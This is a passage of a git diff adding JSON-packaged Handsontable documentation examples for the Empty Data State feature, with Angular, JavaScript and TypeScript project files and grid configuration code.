from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: true, // Enable empty data state with default settings\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/empty-data-state/angular/example1.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/empty-data-state","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json new file mode 100644 index 00000000..28175c77 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Empty Data State · Custom configuration · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild('hotTable') hotTable!: HotTableComponent;\n\n readonly hotData = [];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: {\n message: {\n title: 'No data available',\n description: 'Please add some data to get started.',\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n this.hotTable.hotInstance!.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n }\n }\n ]\n }\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/empty-data-state/angular/example2.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example2","exampleTitle":"Custom configuration","docPermalink":"/empty-data-state","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json new file mode 100644 index 00000000..78090448 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Empty Data State · Dynamic messages based on source · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild('hotTable') hotTable!: HotTableComponent;\n\n readonly hotData = [];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n contextMenu: true,\n emptyDataState: {\n message: (source: string) => {\n switch (source) {\n case 'filters':\n return {\n title: 'No results found',\n description: 'Your current filters are hiding all results. Try adjusting your search criteria.',\n buttons: [\n {\n text: 'Clear Filters',\n type: 'secondary',\n callback: () => {\n const filtersPlugin = this.hotTable.hotInstance!.getPlugin('filters');\n\n if (filtersPlugin) {\n filtersPlugin.clearConditions();\n filtersPlugin.filter();\n }\n }\n }\n ]\n };\n default:\n return {\n title: 'No data available',\n description: 'There\\'s nothing to display yet. Add some data to get started.',\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n this.hotTable.hotInstance!.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n }\n }\n ]\n };\n }\n }\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/empty-data-state/angular/example3.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example3","exampleTitle":"Dynamic messages based on source","docPermalink":"/empty-data-state","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json new file mode 100644 index 00000000..73b4c732 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Empty Data State · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable';\n\nconst container = document.getElementById('example1');\n\nnew Handsontable(container, {\n data: [],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example1.js","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/empty-data-state","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json new file mode 100644 index 00000000..e17d4de7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Empty Data State · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable';\n\nconst container = document.getElementById('example1') as HTMLElement;\n\nnew Handsontable(container, {\n data: [], // Empty data to trigger empty state\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: true, // Enable empty data state with default settings\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example1.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/empty-data-state","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json new file mode 100644 index 00000000..f661ae4e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Empty Data State · Custom configuration · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"// Custom configuration example for Empty Data State plugin\n// This example shows how to customize the empty data state message\nimport Handsontable from 'handsontable';\n\nconst container = document.getElementById('example2');\nconst hot = new Handsontable(container, {\n data: [],\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: {\n message: {\n title: 'No data available',\n description: 'Please add some data to get started.',\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n // Add some sample data\n hot.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n },\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example2.js","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example2","exampleTitle":"Custom configuration","docPermalink":"/empty-data-state","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json new file mode 100644 index 00000000..da29428a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Empty Data State · Custom configuration · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"// Custom configuration example for Empty Data State plugin\n// This example shows how to customize the empty data state message\n\nimport Handsontable from 'handsontable';\n\nconst container = document.getElementById('example2') as HTMLElement;\n\nconst hot = new Handsontable(container, {\n data: [], // Empty data to trigger empty state\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n emptyDataState: {\n message: {\n title: 'No data available',\n description: 'Please add some data to get started.',\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n // Add some sample data\n hot.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n },\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example2.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example2","exampleTitle":"Custom configuration","docPermalink":"/empty-data-state","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json new file mode 100644 index 00000000..9f7cad37 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Empty Data State · Dynamic messages based on source · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"// Dynamic messages based on source example for Empty Data State plugin\n// This example shows how to provide different messages based on the source of empty state\nimport Handsontable from 'handsontable';\n\nconst container = document.getElementById('example3');\nconst hot = new Handsontable(container, {\n data: [],\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n contextMenu: true,\n emptyDataState: {\n message: (source) => {\n switch (source) {\n case 'filters':\n return {\n title: 'No results found',\n description: 'Your current filters are hiding all results. Try adjusting your search criteria.',\n buttons: [\n {\n text: 'Clear Filters',\n type: 'secondary',\n callback: () => {\n const filtersPlugin = hot.getPlugin('filters');\n\n if (filtersPlugin) {\n filtersPlugin.clearConditions();\n filtersPlugin.filter();\n }\n },\n },\n ],\n };\n default:\n return {\n title: 'No data available',\n description: \"There's nothing to display yet. Add some data to get started.\",\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n hot.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n };\n }\n },\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example3.js","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example3","exampleTitle":"Dynamic messages based on source","docPermalink":"/empty-data-state","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json new file mode 100644 index 00000000..366897d9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Empty Data State · Dynamic messages based on source · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"// Dynamic messages based on source example for Empty Data State plugin\n// This example shows how to provide different messages based on the source of empty state\n\nimport Handsontable from 'handsontable';\n\nconst container = document.getElementById('example3') as HTMLElement;\n\nconst hot = new Handsontable(container, {\n data: [],\n height: 'auto',\n colHeaders: ['First Name', 'Last Name', 'Email'],\n rowHeaders: true,\n navigableHeaders: true,\n dropdownMenu: true,\n filters: true,\n contextMenu: true,\n emptyDataState: {\n message: (source: string) => {\n switch (source) {\n case 'filters':\n return {\n title: 'No results found',\n description: 'Your current filters are hiding all results. Try adjusting your search criteria.',\n buttons: [\n {\n text: 'Clear Filters',\n type: 'secondary',\n callback: () => {\n const filtersPlugin = hot.getPlugin('filters');\n\n if (filtersPlugin) {\n filtersPlugin.clearConditions();\n filtersPlugin.filter();\n }\n },\n },\n ],\n };\n default:\n return {\n title: 'No data available',\n description: \"There's nothing to display yet. Add some data to get started.\",\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n hot.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n };\n }\n },\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/empty-data-state/javascript/example3.ts","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example3","exampleTitle":"Dynamic messages based on source","docPermalink":"/empty-data-state","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json new file mode 100644 index 00000000..fc88d1b3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json @@ -0,0 +1 @@ 